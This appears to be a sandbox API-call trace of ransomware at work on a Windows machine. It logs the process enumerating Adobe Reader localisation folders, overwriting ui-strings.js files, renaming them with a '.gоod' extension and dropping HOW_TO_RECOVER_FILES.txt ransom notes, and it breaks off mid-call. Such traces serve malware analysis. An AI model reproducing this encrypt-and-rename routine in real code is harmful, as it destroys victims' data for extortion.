lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.530] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.530] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0202.530] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0202.530] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0202.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0202.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0202.530] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua", lpFilePart=0x0) returned 0x6a [0202.530] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.531] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.531] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0202.531] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0202.531] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0202.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0202.531] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0202.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x33bd708 | out: lpFileInformation=0x33bd708*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44)) returned 1 [0202.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0202.532] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0202.532] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0202.532] GetFileType (hFile=0x854) returned 0x1 [0202.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0202.532] GetFileType (hFile=0x854) returned 0x1 [0202.532] SetFilePointer (in: hFile=0x854, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0202.532] ReadFile (in: hFile=0x854, lpBuffer=0x33bdbf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x33bdbf0*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0202.534] CloseHandle (hObject=0x854) returned 1 [0202.534] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0202.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0202.534] GetFileType (hFile=0x854) returned 0x1 [0202.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0202.534] GetFileType (hFile=0x854) returned 0x1 [0202.534] SetFilePointer (in: hFile=0x854, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x2e44 [0202.534] WriteFile (in: hFile=0x854, lpBuffer=0x33beef0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x33beef0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0202.535] CloseHandle (hObject=0x854) returned 1 [0202.535] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0202.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0202.536] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0202.536] GetFileType (hFile=0x854) returned 0x1 [0202.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0202.536] GetFileType (hFile=0x854) returned 0x1 [0202.536] ReadFile (in: hFile=0x854, lpBuffer=0x33c1218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x33c1218*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0203.360] CloseHandle (hObject=0x854) returned 1 [0203.360] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0203.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0203.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0203.361] GetFileType (hFile=0x854) returned 0x1 [0203.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0203.361] GetFileType (hFile=0x854) returned 0x1 [0203.361] WriteFile (in: hFile=0x854, lpBuffer=0x333b8b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x333b8b8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0203.361] CloseHandle (hObject=0x854) returned 1 [0203.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0203.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0203.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0203.361] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x756d813b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e54)) returned 1 [0203.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0203.362] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\uk-ua\\ui-strings.js.gоod")) returned 1 [0203.363] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0203.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0203.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\uk-ua\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x854 [0203.364] GetFileType (hFile=0x854) returned 0x1 [0203.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0203.365] GetFileType (hFile=0x854) returned 0x1 [0203.365] WriteFile (in: hFile=0x854, lpBuffer=0x3663d98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3663d98*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0203.366] CloseHandle (hObject=0x854) returned 1 [0203.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0203.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn", lpFilePart=0x0) returned 0x6a [0203.366] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0203.367] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.367] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0203.367] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0203.367] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0203.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0203.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0203.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0203.367] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn", lpFilePart=0x0) returned 0x6a [0203.368] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0203.368] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.368] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0203.368] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0203.368] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0203.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0203.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0203.368] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0203.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0203.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3673a00 | out: lpFileInformation=0x3673a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c)) returned 1 [0203.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0203.369] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0203.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0203.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 